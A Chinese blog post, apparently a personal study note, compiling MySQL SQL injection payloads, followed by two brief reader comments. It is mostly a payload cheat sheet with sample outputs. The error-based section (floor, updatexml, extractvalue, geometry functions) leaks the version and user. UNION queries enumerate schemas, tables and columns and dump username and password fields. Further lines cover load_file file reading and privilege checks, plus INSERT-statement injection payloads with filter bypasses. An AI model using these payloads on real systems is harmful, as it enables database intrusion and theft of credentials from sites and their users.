Mysql注入方式收集

in 抛砖引玉 with 2 comments

Mysql注入方式

发现网上都很多就收集了一下.

代码审计学习记录

mysql报错注入,我们有时候会遇到没有正常数据回显的注入.这时候就需要报错注入来获得我们需要的数据.


我们经常用到的有floor(),updatexml(),extractvalue()通过查找资料发现还有一些函数.
由于这三个比较通用,也就是在大部分mysql版本中都有,其他的有些可能在低版本里没有.

  1. floor()

语句:and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

mysql> select 1 and (select 1 from  (select count(*),concat(version(),floor(rand
(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.5.401' for key 'group_key'
  1. updatexml()
    语句:and (updatexml(1,concat(0x3a,(select user())),1));
mysql> select 1 and (updatexml(1,concat(0x3a,(select user())),1));
ERROR 1105 (HY000): XPATH syntax error: ':[email protected]'
  1. ExtractValue()
    和upadtexml()用法差不多
    语句:and extractvalue(1, concat(0x5c, (select user())));
mysql> select 1 and extractvalue(1, concat(0x5c, (select user())));
ERROR 1105 (HY000): XPATH syntax error: '\[email protected]'
  1. GeometryCollection() version > MySQL4.1
  2. MultiPoint()
  3. Polygon()
  4. LineString()
  5. MultiPolygon()
  6. MultiPoint()
  7. MultiLineString()
    这几个是mysql在4.1版本之后引入的一系列空间扩展,使其具备了一定的空间处理能力.
    语句都一样就列举了一个例子.
    语句:AND GeometryCollection((select * from(select * from(select user())a)b));
mysql> select 1 AND GeometryCollection((select * from(select * from(select user(
))a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'ro
[email protected]' AS `user()` from dual) `b`)' value found during parsing

select exp(~(select*from(select user())a));

查询数据库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
system_user() 系统用户名
user() 用户名
current_user当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*

1.insert

payload:adda'|updatexml(1,concat(0x1,(select user() from flags)),1)|'

Screen Shot 2018-02-17 at 6.48.49 PM.png

解决办法是引入一个整数

1'|updatexml(1,concat(0x1,(select user() from flags)),1))#

然后通过小伙伴@burnegg的指点说比较符可以bypass这个问题<> < > =原理是把前面的字符串转换成了bool进行比较。

aa'<>updatexml(1,concat(0x1,(select user()from flags)),1))#

参考官方insert

payload:') ON DUPLICATE KEY UPDATE id=updatexml(1,concat(0x1,(select user()from flags)),1)#

update 和delete 类似 参考:

https://www.exploit-db.com/docs/english/41275-mysql-injection-in-update,-insert,-and-delete.pdf

Responses / Cancel Reply
  1. 恶魔焦

    转到自己博客去了0.0

    Reply
  2. storysky

    多写写,锻炼文档编写能力

    Reply